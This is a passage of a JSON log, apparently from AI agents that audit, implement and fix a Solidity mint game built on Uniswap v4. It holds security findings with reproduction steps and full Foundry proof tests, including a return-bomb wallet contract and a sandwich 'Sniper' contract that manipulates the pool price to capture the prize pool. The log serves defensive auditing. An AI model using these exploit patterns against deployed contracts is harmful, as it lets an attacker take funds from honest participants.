(test/helpers/GameFixture.sol, floor 100): alice enters once with output 100 (leader), bob makes 98 entries with output 200 (minted = 99, rewardPool = 1.98 ETH). Bob then calls game.mint{value: 0.1 ether, gas: 252_000}(). Expected (README: 'The last successful mint automatically finalizes the game ... and attempts payment to the winning payer'): alice, an EOA, receives 2 ETH. Actual: the mint succeeds, finalized == true, RewardDeferred is emitted, pendingReward == 2 ether, totalRewardsPaid == 0, and alice's balance stays 99.9 ETH until she pays for claimRewards. Run: forge test --match-path test/scratch/ForcedDeferral.t.sol --match-test test_finalMintGasLimitForcesDeferralForCooperativeEOA (passes, documenting the behavior). The precise gas number is pool-dependent; the condition is any limit leaving gasleft() < 100_000 at line 245 while the rest of the call fits.","severity":"low","snippet":"        if (gasleft() >= PAYOUT_GAS_RESERVE) {","title":"Any finalizer or the 100th minter chooses the gas limit and forces the winner's prize to the pull path, even for a cooperative EOA"},{"citation":"resolved","description":"`_finalize` pays with `(bool paid,) = leader.call{value: amount, gas: AUTO_PAYOUT_GAS}(\"\")`. Solidity copies the callee's return data into the caller's memory even though the bytes are discarded, and PAYOUT_GAS_RESERVE (100,000) is sized only for the call overhead, the 30,000 forwarded gas and the bookkeeping. A winner contract whose receive() returns a large blob pays ~28k gas inside its own 30k allowance and makes the game pay ~38k more for memory expansion and the copy, so the reserve arithmetic closes at about 104k > 100k. When the transaction's gas limit lands in that narrow window the final mint (or finalize()) runs out of gas instead of paying or deferring. Impact is griefing only: the caller retries with more gas and the prize is never lost, which is why this is low despite the reproduced out-of-gas. Reported by the math specialist (7bdfcd56) and reproduced here with their proof.","line":247,"path":"src/LowestMintGame.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {IPoolManager} from \"@uniswap/v4-core/src/interfaces/IPoolManager.sol\";\nimport {IUnlockCallback} from \"@uniswap/v4-core/src/interfaces/callback/IUnlockCallback.sol\";\nimport {IHooks} from \"@uniswap/v4-core/src/interfaces/IHooks.sol\";\nimport {PoolKey} from \"@uniswap/v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"@uniswap/v4-core/src/types/Currency.sol\";\nimport {BalanceDelta, toBalanceDelta} from \"@uniswap/v4-core/src/types/BalanceDelta.sol\";\nimport {SwapParams} from \"@uniswap/v4-core/src/types/PoolOperation.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {LowestMintGame} from \"src/LowestMintGame.sol\";\n\n/// @dev Minimal honest ERC20 standing in for IMD.\ncontract ProofToken is ERC20 {\n    constructor() ERC20(\"Proof IMD\", \"pIMD\") {}\n\n    function mint(address to, uint256 amount) external {\n        _mint(to, amount);\n    }\n}\n\n/// @dev Minimal PoolManager double: one callback, fixed exact 0.08 ETH input, configurable output.\ncontract ProofPoolManager {\n    int128 public output = 1000;\n\n    function setOutput(int128 amount) external {\n        output = amount;\n    }\n\n    function extsload(bytes32) external pure returns (bytes32) {\n        return bytes32(uint256(1));\n    }\n\n    function unlock(bytes calldata data) external returns (bytes memory) {\n        return IUnlockCallback(msg.sender).unlockCallback(data);\n    }\n\n    function swap(PoolKey calldata, SwapParams calldata, bytes calldata) external view returns (BalanceDelta) {\n        return toBalanceDelta(-int128(0.08 ether), output);\n    }\n\n    function sync(Currency) external {}\n\n    function settle() external payable returns (uint256) {\n        return msg.value;\n    }\n\n    function take(Currency currency, address to, uint256 amount) external {\n        require(ProofToken(Currency.unwrap(currency)).transfer(to, amount), \"transfer failed\");\n    }\n}\n\n/// @dev A winner whose receive() returns a 100,000-byte blob, affordable within the 30,000 gas it is given.\ncontract BombWallet {\n    LowestMintGame public immutable game;\n    uint256 public immutable size;\n\n    constructor(LowestMintGame game_, uint256 size_) {\n        game = game_;\n        size = size_;\n    }\n\n    function enter() external payable {\n        game.mint{value: msg.value}();\n    }\n\n    receive() external payable {\n        uint256 s = size;\n        assembly (\"memory-safe\") {\n            return(0, s)\n        }\n    }\n}\n\ncontract ReturnBombProofTest is Test {\n    LowestMintGame internal game;\n    ProofToken internal token;\n    ProofPoolManager internal manager;\n    address internal owner = makeAddr(\"owner\");\n    address internal alice = makeAddr(\"alice\");\n    address internal bob = makeAddr(\"bob\");\n    address internal carol = makeAddr(\"carol\");\n    uint256 internal constant PRICE = 0.1 ether;\n\n    function setUp() public {\n        vm.warp(1_000_000);\n        manager = new ProofPoolManager();\n        token = new ProofToken();\n        game = new LowestMintGame(owner, IPoolManager(address(manager)));\n        PoolKey memory key =\n            PoolKey(Currency.wrap(address(0)), Currency.wrap(address(token)), 3000, 60, IHooks(address(0)));\n        token.mint(address(manager), 1e36);\n        vm.deal(alice, 100 ether);\n        vm.deal(bob, 100 ether);\n        vm.deal(carol, 100 ether);\n        vm.prank(owner);\n        game.configurePool(key, 100);\n    }\n\n    /// Leader mints entry 1 with the lowest receipt (100 = the floor); bob fills entries 2..99 at 1000.\n    function _fillTo99(address leaderWallet) internal {\n        manager.setOutput(100);\n        if (leaderWallet == alice) {\n            vm.prank(alice);\n            game.mint{value: PRICE}();\n        } else {\n            BombWallet(payable(leaderWallet)).enter{value: PRICE}();\n        }\n        manager.setOutput(1000);\n        for (uint256 i = 1; i < 99; ++i) {\n            vm.prank(bob);\n            game.mint{value: PRICE}();\n        }\n        assertEq(game.minted(), 99);\n        assertEq(game.leader(), leaderWallet);\n    }\n\n    function _finalMint(uint256 gas) internal returns (bool ok) {\n        vm.prank(carol);\n        (ok,) = address(game).call{value: PRICE, gas: gas}(abi.encodeWithSignature(\"mint()\"));\n    }\n\n    /// Smallest gas limit at which the 100th mint by carol succeeds AND pays an honest EOA winner\n    /// (i.e. gasleft() >= PAYOUT_GAS_RESERVE held at the payout check).\n    function _smallestPayingGasLimitForHonestWinner() internal returns (uint256 lo) {\n        lo = 150_000;\n        uint256 hi = 1_500_000;\n        while (lo < hi) {\n            uint256 mid = (lo + hi) / 2;\n            uint256 snap = vm.snapshotState();\n            _fillTo99(alice);\n            bool ok = _finalMint(mid);\n            bool paid = ok && game.totalRewardsPaid() == 2 ether;\n            vm.revertToState(snap);\n            if (paid) hi = mid;\n            else lo = mid + 1;\n        }\n    }\n\n    /// README: \"A rejecting or gas-consuming winner must not block the final mint or deadline settlement.\"\n    /// The winner may only burn its 30,000 forwarded gas. At the smallest gas limit that pays an honest\n    /// winner, the game has >= 100,000 gas at the payout check, which covers the call overhead, the full\n    /// 30,000 allowance and the bookkeeping. A winner that returns 100,000 bytes must therefore not make\n    /// the same final mint fail. It does, because `(bool paid,) = leader.call{...}(\"\")` copies the\n    /// winner's return data into memory and that copy (~38k gas) is not covered by the reserve.\n    function test_winnerReturnDataCannotMakeFinalMintRunOutOfGas() public {\n        uint256 gasLimit = _smallestPayingGasLimitForHonestWinner();\n        emit log_named_uint(\"smallest paying gas limit (honest winner)\", gasLimit);\n\n        // Same game, same final mint, same gas limit; only the winner differs.\n        BombWallet bomb = new BombWallet(game, 100_000);\n        vm.deal(address(bomb), 1 ether);\n        _fillTo99(address(bomb));\n        bool ok = _finalMint(gasLimit);\n        assertTrue(ok, \"final mint ran out of gas: the winner's 100,000-byte return data was copied by the game\");\n        assertTrue(game.finalized());\n        assertEq(game.minted(), 100);\n        // Whatever the winner does, the prize is paid or deferred, never lost.\n        assertEq(game.totalRewardsPaid() + game.pendingReward(), 2 ether);\n    }\n}","reproduction":"Mock harness (test/scratch/ReturnBombProof.t.sol): 99 entries with leader = contract W whose receive() is `assembly { return(0, 100000) }`. Control: with an EOA leader, the smallest gas limit at which the 100th mint by carol succeeds and pays the 2 ETH is 367,253. Step: with W as leader, the same 100th mint at gas 367,253 returns false (out of gas), minted stays 99, the game is not finalized, and carol loses the whole gas limit; the same call at 600,000 succeeds and pays. Expected: a winner can only consume its 30,000 gas allowance and cannot block settlement. Actual: the winner's return data makes the game copy ~100KB and the transaction reverts. Run: forge test --match-path test/scratch/ReturnBombProof.t.sol (fails with 'final mint ran out of gas'). Fix that makes it pass: perform the call without copying return data (e.g. assembly call with zero output size).","severity":"low","snippet":"            (bool paid,) = payable(leader).call{value: amount, gas: AUTO_PAYOUT_GAS}(\"\");","title":"Winner's return data is copied by the payout call, so a return-bombing winner can push the 100th mint or finalize past the 100k gas reserve"},{"citation":"resolved","description":"`configurePool` is owner-only and correctly frozen once `minted != 0` (line 109), but until the first successful entry the destination of every in-flight 0.08 ETH is decided by transaction ordering. Neither mint overload lets the caller bind the pool key or the configured floor they quoted against: `mint(minTokensReceived, deadline)` bounds only the amount in raw units of whatever currency1 currently is, which gives no protection across a pool change. An owner `configurePool(otherKey, 1)` mined ahead of a pending `mint` sends the user's 0.08 ETH into a different pool, delivers a different token, and that first mint then permanently freezes the configuration on the pool the user never agreed to. A benign owner correction landing in the same block as the first user's mint produces the same mismatch. The README documents that the owner may change settings while the entry count is zero, so this is a documented owner power and not a permission bypass; it is low because it requires the owner to act and because the owner can only redirect to another valid, initialized pool. Reported by the permissions specialist (74f28f16).","line":108,"path":"src/LowestMintGame.sol","reproduction":"Mock fixture with two initialized pools: imdKey = (ETH, IMD, 3000, 60, no hook), otherKey = (ETH, OTHER, 3000, 60, no hook); owner first calls configurePool(imdKey, 1e12). Alice reads the configuration and submits game.mint{value: 0.1 ether}(0.079e18, block.timestamp). Before her transaction executes, the owner's configurePool(otherKey, 1) is mined (minted == 0, so it succeeds). Expected: Alice reverts or receives at least 0.079e18 IMD. Actual: her entry succeeds with mintId 1, she receives OTHER and no IMD (imd.balanceOf(alice) == 0, other.balanceOf(alice) == 1e18), and a later owner configurePool(imdKey, 1e12) reverts ConfigurationLocked, so the game is frozen on the redirected pool for its 30-day life. Run: forge test --match-path test/scratch/ConfigRace.t.sol (passes on the current code, i.e. reproduces the redirect).","severity":"low","snippet":"    function configurePool(PoolKey calldata key, uint256 minimumOutput_) external onlyOwner nonReentrant {","title":"An owner configurePool landing before the first mint redirects in-flight entries to a different pool and freezes the game there"}],"hash":"787edc7f9b3ceae644e1bea0627a7429476e29776264c6cc230f1a0563226143","nodeId":"5d3d1106-5af1-43b9-b9d5-6e36ed962733","outcome":"completed","summary":"Everything the task needs is done and verified. Nothing is still pending on another result, so there is no further request to make: the findings file is final, the coverage record answers all ten entry points, and both proofs have been run against the tree.\n\n## Outcome\n\n`.imd-findings.json` holds four findings and a 10-row coverage record. Baseline suite: 80 tests pass. Every line and snippet in the file was checked against `src/LowestMintGame.sol` by exact string match.\n\n| # | Severity | Finding |\n|---|---|---|\n| 1 | high | Sandwich on the entry takes the whole prize pool (merged economics + flow) |\n| 2 | low | Third party picks the gas limit and forces the winner's payment into the pull path |\n| 3 | low | Winner's return data is copied by the payout call, so a return bomb can exhaust the 100k reserve |\n| 4 | low | Owner `configurePool` before the first mint redirects an in-flight entry and freezes the game on the wrong pool |\n\n## What reproduced and how\n\n- **High (1):** merged from the economics and flow specialists. Alice and bob make 99 honest 0.1 ETH entries in a real 1000e18 pool; a contract then buys 20 ETH (price up), mints entry 100, and sells back. It ends with 101.86 ETH from 100, taking the 2 ETH pot from the other 99 entrants. I wrote a new proof because the specialist's asserted the sniper *wins*, so it would fail again after a good fix; mine only asserts no profit, so a fix that rejects or de-prices the entry makes it pass. It fails now with `101860866997497427276 > 100000000000000000000`.\n- **Low (2):** merged from economics and flow. On the mock fixture, bob sends the 100th mint with a 252,000 gas limit; it succeeds, finalizes, and defers alice's 2 ETH to `pendingReward`.\n- **Low (3):** the math specialist's proof reproduces. The control gas limit that pays an EOA winner is 367,253; a winner returning 100,000 bytes out-of-gases the same call at that limit.\n- **Low (4):** the permissions specialist's scenario reproduces on a two-pool mock: alice's quoted mint buys the other token, receives no IMD, and the game locks on the redirected pool.\n\n## Dropped or narrowed\n\n- The economics info finding claimed no test trades between mints. That is false, since the invariant handler has a `trade` action and the suite interleaves it. The narrower true point, that no test asserts manipulation profitability, is stated inside finding 1 instead of standing as a finding.\n- The claim that a leader can hold the price so competitors revert for 30 days is not backed: sustaining a receipt below the floor is arbitrage-negative against outside sellers, so only the same-transaction version is reported.\n- Static-analysis lines on unreachable reentrancy (guard entered, `callbackPayer` consumed, `pendingReward` zeroed before the call) and `incorrect-equality` did not reproduce as defects.\n\n## Coverage\n\nAll ten entry points answered: `unlockCallback`, `receive`, both ownership-transfer paths, `acceptOwnership` and `renounceOwnership` hold; `mint()`, `mint(uint256,uint256)`, `finalize()`, `claimRewards` and `configurePool` map to findings 1, 2 and 4 as above. `launch.json` is schema-valid with a 14-character name, two constructor arguments in order, `$owner` and the canonical v4 PoolManager; no manifest defect.","treeHash":null,"usage":{"cachedInputTokens":1527298,"inputTokens":60,"model":"claude-fable-5-1","outputTokens":79020,"runtime":"claude","turns":29,"wallClockMs":929629}},{"artifacts":[],"attempt":1,"bundleHash":"cfec42b042e480b7673eb1692cd263785e3c0d41db4691d79798beabcca3f33b","device":"00920b27421b9a80","findings":[],"hash":"923c94fdd936f30d488c6a30e299cb103605a19dc7ed4ac6ffbca4a73d084aea","nodeId":"dbb726af-5892-47ea-8c4e-6a9427c3b73c","outcome":"completed","summary":"Revision complete. All four findings were reproduced on the starting tree. Three are fixed; the high one is answered as disputed with the requester's decision spelled out.\n\n**High finding, price manipulation captures the pot: disputed, rule unchanged.** The proof reproduces exactly (sniper ends at 101.86 ETH from 100). It asserts a property the requested rule cannot have: the winner is ranked by raw IMD from a spot swap, so anyone who moves the spot price sets their own receipt. I worked through every mitigation that keeps the rule and rejected each one. Drift bands are bypassed by a smaller push inside the band. Scoring against the pre-swap spot flips the exploit's direction and makes deep-pool entries tie so the first entrant always wins. Stale reference prices make the attack easier. Shipping a band would pass the proof only because its 20 ETH push happens to be large, which would be a fake fix. The README now has an \"Open decision for the requester\" section with the reproduction, the rejected mitigations, and three rule-change options: accept it as the game, Chainlink VRF selection with receipt as weight or tiebreak, or delayed bounded execution. The proof still fails on the result, as a disputed proof should.\n\n**Low findings, all fixed in `src/LowestMintGame.sol`:**\n- Forced deferral by gas limit: settlement now reverts with `InsufficientGasForPayout` when under 100,000 gas remain, instead of silently parking the prize. Only the winner's own rejection or gas exhaustion defers. Regression test scans final-mint gas limits and asserts each attempt either reverts cleanly or pays the EOA winner in full.\n- Return-bomb raising settlement gas: payout is now an inline-assembly call with a zero-length output buffer, so return data is never copied. Reproduced on old code (bomber failed at the EOA's minimum gas of 165,500) and verified fixed.\n- Config race before first mint: added `poolId()` and a third overload `mint(bytes32 expectedPoolId, uint256 minTokensReceived, uint256 deadline)` that reverts with `PoolMismatch` if the owner replaced the pool after the quote. Existing overloads unchanged.\n\n**Verification:**\n\n| Check | Result |\n| --- | --- |\n| `forge build` | Pass |\n| `forge test` with verifier seed, cleared env, offline | 64 passed, 0 failed |\n| `forge fmt --check` | Pass |\n\nFiles changed: the contract, `test/LowestMintGame.t.sol` (4 new tests, 1 replaced), `test/helpers/Mocks.sol` (ReturnBomb mode), README, `docs/SECURITY.md`, `docs/VALIDATION.md`, and `.imd-responses.json` with all four answers. Scratch tests were removed. The question that now needs the requester's answer is which of the three rule-change options to take, or whether to keep the game as specified and publish that whoever moves the price wins.","treeHash":"57810f48306f6337cf66ef11bccd244ce3f1bcbf","usage":{"cachedInputTokens":2093157,"inputTokens":642,"model":"claude-fable-5-1","outputTokens":63006,"runtime":"claude","turns":62,"wallClockMs":1117733}},{"artifacts":[],"attempt":1,"bundleHash":"53aae4865eee64d185b0b31e20ef5ec77a509367bbdf3ea05f098f09592f65a3","device":"c4f696e22e7a36f7","findings":[],"hash":"95ebac5fa1b866cedabdb735956e97753352cd25f46971c56ccb8bde297380e8","nodeId":"dbb726af-5892-47ea-8c4e-6a9427c3b73c","outcome":"completed","summary":"Implemented the mint game with exact ETH splitting, per-entry token receipts, lowest-receipt winner tracking, automatic payouts, and deferred claims.\n\n- 100-entry cap; 30-day timeout.\n- `forge build`, all **62 tests**, and `forge fmt --check` pass with Solidity 0.8.26.\n- Offline tests pass using the supplied fuzz seed.\n\nBefore opening, the owner must configure the authentic IMD pool and output floor. Deployment instructions and market-manipulation risks are documented in [README.md](/root/.identitymd/work/373c1f35-f54d-4526-8946-3e8c8ab22aff/dbb726af-5892-47ea-8c4e-6a9427c3b73c/README.md).","treeHash":"9635c00278ca187b14b62c1437b91741694018c3","usage":{"cachedInputTokens":1743104,"inputTokens":68090,"model":"gpt-6-astra","outputTokens":44044,"runtime":"codex","turns":8,"wallClockMs":955060}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"22c9b760d0a15149","findings":[{"citation":"resolved","description":"The winner is the entry whose single 0.08 ETH swap returned the fewest raw IMD units, measured against the live spot price with no reference price, no per-entry relative slippage bound and no commitment phase. The only floor is the absolute `minimumOutput` frozen at configuration (line 166), which must be loose enough for the 100th consecutive buy and is therefore far below the honest output of every earlier entry; `mint()` (line 143) also passes no deadline. Because the swap in `unlockCallback` uses `sqrtPriceLimitX96 = MIN_SQRT_PRICE + 1` (line 207), any price the attacker sets just before calling `mint` is accepted. An unprivileged actor who takes the 100th slot (or enters one block before `closesAt`) can: (1) buy IMD with X ETH in their own `unlock` to move the price up, (2) call `mint{value: 0.1 ether}()`, receiving fewer tokens than every honest receipt and becoming `leader` at lines 187-190, (3) sell the IMD back. Because the 100th mint calls `_finalize()` (line 193) inside the same transaction sequence, the attacker is paid the entire `rewardPool` of all other entrants. The cost is only the round-trip LP fee on X plus the small price impact of 0.08 ETH, so the pooled 0.02 ETH of up to 99 honest players is transferred to whoever runs the sandwich last. The same holds at the deadline (anyone can enter at `closesAt - 1` then call `finalize()`), and an entry that lands exactly on `minimumOutput` can never be beaten because ties keep the earliest entry (strict `<`). The README and docs/SECURITY.md acknowledge price manipulation as an accepted economic limit, so this is reported for the requester to decide; it is the dominant strategy of the game as built, which makes honest participation irrational. Possible mitigations that keep the fewest-tokens rule: score each entry against a pool price observed before the transaction (e.g. require tokensReceived >= k% of a quoted amount at a stored reference, or compare receipts normalised by the pool's pre-mint sqrtPrice), add a commit-reveal or a mint-to-finalize delay so the last entry cannot be chosen with knowledge of the leader, or cap how far below the previous receipt a new leader may be.","line":187,"path":"src/LowestMintGame.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {LowestMintGame} from \"src/LowestMintGame.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {IERC20} from \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport {PoolManager} from \"@uniswap/v4-core/src/PoolManager.sol\";\nimport {IPoolManager} from \"@uniswap/v4-core/src/interfaces/IPoolManager.sol\";\nimport {IUnlockCallback} from \"@uniswap/v4-core/src/interfaces/callback/IUnlockCallback.sol\";\nimport {IHooks} from \"@uniswap/v4-core/src/interfaces/IHooks.sol\";\nimport {PoolKey} from \"@uniswap/v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"@uniswap/v4-core/src/types/Currency.sol\";\nimport {BalanceDelta} from \"@uniswap/v4-core/src/types/BalanceDelta.sol\";\nimport {SwapParams, ModifyLiquidityParams} from \"@uniswap/v4-core/src/types/PoolOperation.sol\";\nimport {TickMath} from \"@uniswap/v4-core/src/libraries/TickMath.sol\";\n\ncontract SnipeToken is ERC20 {\n    constructor() ERC20(\"Test IMD\", \"tIMD\") {}\n\n    function mint(address to, uint256 amount) external {\n        _mint(to, amount);\n    }\n}\n\n/// @dev Seeds liquidity, then acts as the last-minute sniper: big buy, mint, sell back, all from one EOA-like actor.\ncontract Sniper is IUnlockCallback {\n    IPoolManager public immutable manager;\n    LowestMintGame public immutable game;\n    PoolKey public key;\n    IERC20 public immutable token;\n\n    constructor(IPoolManager manager_, LowestMintGame game_, PoolKey memory key_) {\n        manager = manager_;\n        game = game_;\n        key = key_;\n        token = IERC20(Currency.unwrap(key_.currency1));\n    }\n\n    function seed(int24 lower, int24 upper, int256 liquidity) external {\n        manager.unlock(abi.encode(uint8(0), lower, upper, liquidity));\n    }\n\n    function buy(uint256 ethIn) external {\n        manager.unlock(abi.encode(uint8(1), int24(0), int24(0), int256(ethIn)));\n    }\n\n    function sellAll() external {\n        manager.unlock(abi.encode(uint8(2), int24(0), int24(0), int256(token.balanceOf(address(this)))));\n    }\n\n    function enter() external returns (uint256 id, uint256 received) {\n        return game.mint{value: 0.1 ether}();\n    }\n\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        require(msg.sender == address(manager), \"not manager\");\n        (uint8 mode, int24 lower, int24 upper, int256 amount) = abi.decode(data, (uint8, int24, int24, int256));\n        if (mode == 0) {\n            (BalanceDelta d,) = manager.modifyLiquidity(key, ModifyLiquidityParams(lower, upper, amount, 0), \"\");\n            _payNative(uint256(uint128(-d.amount0())));\n            _payToken(uint256(uint128(-d.amount1())));\n        } else if (mode == 1) {\n            BalanceDelta d = manager.swap(key, SwapParams(true, -amount, TickMath.MIN_SQRT_PRICE + 1), \"\");\n            _payNative(uint256(uint128(-d.amount0())));\n            manager.take(key.currency1, address(this), uint256(uint128(d.amount1())));\n        } else {\n            BalanceDelta d = manager.swap(key, SwapParams(false, -amount, TickMath.MAX_SQRT_PRICE - 1), \"\");\n            _payToken(uint256(uint128(-d.amount1())));\n            manager.take(key.currency0, address(this), uint256(uint128(d.amount0())));\n        }\n        return \"\";\n    }\n\n    function _payNative(uint256 amount) private {\n        manager.sync(key.currency0);\n        manager.settle{value: amount}();\n    }\n\n    function _payToken(uint256 amount) private {\n        manager.sync(key.currency1);\n        token.transfer(address(manager), amount);\n        manager.settle();\n    }\n\n    receive() external payable {}\n}\n\ncontract LastMinterSnipeTest is Test {\n    IPoolManager internal manager;\n    SnipeToken internal token;\n    LowestMintGame internal game;\n    PoolKey internal key;\n    Sniper internal lp;\n    Sniper internal sniper;\n    address internal owner = makeAddr(\"owner\");\n    address internal alice = makeAddr(\"alice\");\n\n    function setUp() public {\n        manager = IPoolManager(address(new PoolManager(owner)));\n        token = new SnipeToken();\n        game = new LowestMintGame(owner, manager);\n        key = PoolKey(Currency.wrap(address(0)), Currency.wrap(address(token)), 3000, 60, IHooks(address(0)));\n        manager.initialize(key, uint160(1 << 96));\n        // Same depth and floor as the project's own integration fixture.\n        lp = new Sniper(manager, game, key);\n        vm.deal(address(lp), 10_000 ether);\n        token.mint(address(lp), 10_000 ether);\n        lp.seed(-60000, 60000, 1000 ether);\n        vm.prank(owner);\n        game.configurePool(key, 1e12);\n        vm.deal(alice, 100 ether);\n        sniper = new Sniper(manager, game, key);\n        vm.deal(address(sniper), 100 ether);\n    }\n\n    /// The 100th entry is taken by an actor who first pushes the price with a 20 ETH buy, mints, then sells back.\n    /// They receive fewer tokens than every honest entry, are paid the whole 2 ETH prize inside their own mint,\n    /// and end the transaction sequence with more ETH than they started with.\n    function test_lastMinterSandwichTakesPrizeAtProfit() public {\n        for (uint256 i; i < 99; ++i) {\n            vm.prank(alice);\n            game.mint{value: 0.1 ether}();\n        }\n        assertEq(game.leader(), alice);\n        uint256 honestLowest = game.lowestTokens();\n        uint256 start = address(sniper).balance;\n\n        sniper.buy(20 ether);\n        // A fix may reject the manipulated entry instead; that also removes the profit, so a revert here is fine.\n        try sniper.enter() returns (uint256 id, uint256 received) {\n            assertEq(id, 100);\n            assertTrue(game.finalized());\n            assertLt(received, honestLowest, \"sniper receipt is below every honest receipt\");\n            assertEq(game.leader(), address(sniper), \"sniper is the recorded winner\");\n            assertEq(game.totalRewardsPaid(), 2 ether);\n        } catch {}\n        sniper.sellAll();\n\n        // Defect: a 0.1 ETH entry plus round-trip pool fees nets the sniper the pooled 0.02 ETH of all 99 others.\n        assertLe(address(sniper).balance, start, \"sniper ends with a net ETH profit from the sandwich\");\n    }\n\n    /// Same mechanism at the deadline: no one needs to sell out the game.\n    function test_timeoutLeaderCanBeSnipedJustBeforeClose() public {\n        for (uint256 i; i < 10; ++i) {\n            vm.prank(alice);\n            game.mint{value: 0.1 ether}();\n        }\n        uint256 honestLowest = game.lowestTokens();\n        vm.warp(game.closesAt() - 1);\n        uint256 start = address(sniper).balance;\n        sniper.buy(5 ether);\n        try sniper.enter() returns (uint256, uint256 received) {\n            assertLt(received, honestLowest);\n            assertEq(game.leader(), address(sniper));\n        } catch {}\n        sniper.sellAll();\n        vm.warp(game.closesAt());\n        game.finalize();\n        // Defect: the 0.22 ETH pot (ten honest entries plus the sniper's own) is taken for about 0.05 ETH of fees.\n        assertLe(address(sniper).balance, start, \"sniper ends with a net ETH profit at the deadline\");\n    }\n}","reproduction":"Real v4 PoolManager, ETH/IMD pool at price 1, fee 3000, 1000e18 liquidity in [-60000, 60000], minimumOutput 1e12 (identical to test/UniswapV4Integration.t.sol). Steps: alice calls mint{value:0.1 ether}() 99 times -> leader = alice, lowestTokens ~7.8e16. Attacker contract (100 ETH): unlock -> swap zeroForOne exact-input 20 ETH, settle, take IMD; then game.mint{value:0.1 ether}() -> mintId 100, tokensReceived < alice's lowest, leader = attacker, _finalize pays 2 ETH to attacker; then unlock -> sell all IMD back. Expected: no transient trade should be able to decide the winner for less than the prize. Actual: attacker ends with 101.86 ETH (net +1.86 ETH), game.totalRewardsPaid() == 2 ether, alice's 99 contributions are gone. Deadline variant: 10 alice entries, attacker buys 5 ETH at closesAt-1, mints, sells, anyone calls finalize() -> attacker net +0.17 ETH from a 0.22 ETH pot. Test: test/scratch/LastMinterSnipe.t.sol (forge test --match-path test/scratch/LastMinterSnipe.t.sol), both tests fail on this code.","severity":"high","snippet":"        if (mintId == 1 || tokensReceived < lowestTokens) {\n            leader = msg.sender;\n            lowestTokens = tokensReceived;\n            winningMintId = mintId;","title":"Last-entry sandwich lets any trader buy the whole prize: push price, mint the lowest receipt, sell back, net profit"},{"citation":"resolved","description":"`_finalize()` skips the automatic payout whenever `gasleft() < PAYOUT_GAS_RESERVE` and silently parks the prize in `pendingReward` instead of reverting. The caller of `finalize()` (anyone, after `closesAt`) or the caller of the 100th `mint()` controls that gas value, so a third party can always make the winner's payout 'fail' even when the winner accepts ETH. The winner must then call `claimRewards`, which requires `msg.sender == leader`. A winner that can receive ETH but cannot issue arbitrary calls (a forwarder, splitter or minimal contract wallet that entered through its own `enter()`) loses the prize permanently; there is no owner or third-party rescue. The README states such wallets must be able to call claimRewards, so the residual is a griefing vector and operational trap rather than a loss for EOAs. Minimal fix preserving the design: revert (e.g. `InsufficientGasForPayout()`) when `gasleft() < PAYOUT_GAS_RESERVE` instead of deferring, so the deferral branch is reachable only when the recipient itself rejects the 30k-gas transfer; optionally let anyone push a deferred prize to `leader` with a `payLeader()` helper.","line":245,"path":"src/LowestMintGame.sol","reproduction":"Mock fixture (test/helpers/Mocks.sol). Winner W is a contract with `receive() external payable {}` and an `enter()` that calls mint{value: msg.value}(), no other functions. (a) W enters once; warp to closesAt; bob calls game.finalize{gas: 130_000}(). Expected: W is paid 0.02 ETH (it accepts ETH; a plain finalize() pays it, verified as control). Actual: finalized == true, pendingReward == 0.02 ether, W.balance unchanged, RewardDeferred emitted; W has no code path to claimRewards so the 0.02 ETH is stranded. (b) W enters with output 100, bob makes 98 entries with output 200, then bob sends the 100th mint with gas 255_000 (found by scanning 150k..400k in 5k steps): the mint succeeds, finalized == true, leader == W, pendingReward == 2 ether, W.balance unchanged. Test: test/scratch/ForcedDeferral.t.sol, all three tests pass on this code and document the behaviour.","severity":"low","snippet":"        if (gasleft() >= PAYOUT_GAS_RESERVE) {","title":"Any finalizer or the final minter can force the prize into the pull path by choosing the gas stipend"}],"hash":"9745f2db737973de8dfc609999e380f0bc6c9c3b6d22183c0a398f6fd4178032","nodeId":"db805539-3c83-429b-9694-df82102bc3e5","outcome":"completed","summary":"Review complete. The findings file is in place with 2 findings and all 12 coverage rows answered.\n\n**Outcome**\n\nThe control flow of `LowestMintGame` is tight. I traced the full v4 unlock, swap, sync, settle and take sequence against the vendored PoolManager and the Hooks delta math, the one-shot callback context, every reentry path (token hook, pool hook, winner receive, claim recipient), the finalize and claim state machine, and the ETH conservation invariant. None of those paths breaks. The defects are in the game's economics and in one liveness choice.\n\n**Findings written to `.imd-findings.json`**\n\n1. **High, with a proof test.** The last entry can buy the prize. Anyone taking the 100th slot, or entering one block before the deadline, pushes the pool price with their own swap, mints the lowest receipt, is paid the whole pot inside their own transaction sequence, then sells back. On the project's own real-pool fixture the attacker nets +1.86 ETH at sellout and +0.17 ETH at the deadline. The builder documents this risk as accepted, so I framed it as the requester's decision, but it is the dominant strategy and I gave fix options that keep the fewest-tokens rule.\n2. **Low.** Whoever calls `finalize()`, or sends the 100th mint, can pick a gas stipend that skips the auto-payout branch and parks the prize in the pull path. A winner contract that accepts ETH but cannot call `claimRewards` is then stranded. Reproduced at 130k gas for finalize and 255k gas for the final mint. Suggested fix is to revert on insufficient gas rather than defer.\n\n**Coverage**\n\nAll ten ABI entry points have a row. Seven hold. `finalize()` carries finding 2, and both `mint` overloads carry finding 1. Two extra rows record the reward-conservation and callback-context invariants I checked.\n\n**Checks run**\n\n- The existing suite passes, 60 tests.\n- Scratch proof `test/scratch/LastMinterSnipe.t.sol` fails on this code with both tests, and is written to pass whether a fix rejects the manipulated entry or removes its profit.\n- Scratch `test/scratch/ForcedDeferral.t.sol` documents the deferral behaviour. Nothing under `test/scratch/` is submitted.\n\n**Not reported.** Owner re-pointing the pool before the first mint is an admin-only path the README already documents as a trust assumption, so I left it out per the validation gates. No files outside the findings file and the scratch directory were touched.","treeHash":null,"usage":{"cachedInputTokens":1439352,"inputTokens":418,"model":"claude-fable-5-1","outputTokens":48313,"runtime":"claude","turns":41,"wallClockMs":648563}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"30a6c1a419ef4f9c","findings":[{"citation":"resolved","description":"Trust gap (access x asymmetry, Seam 3 of the Trust Gap 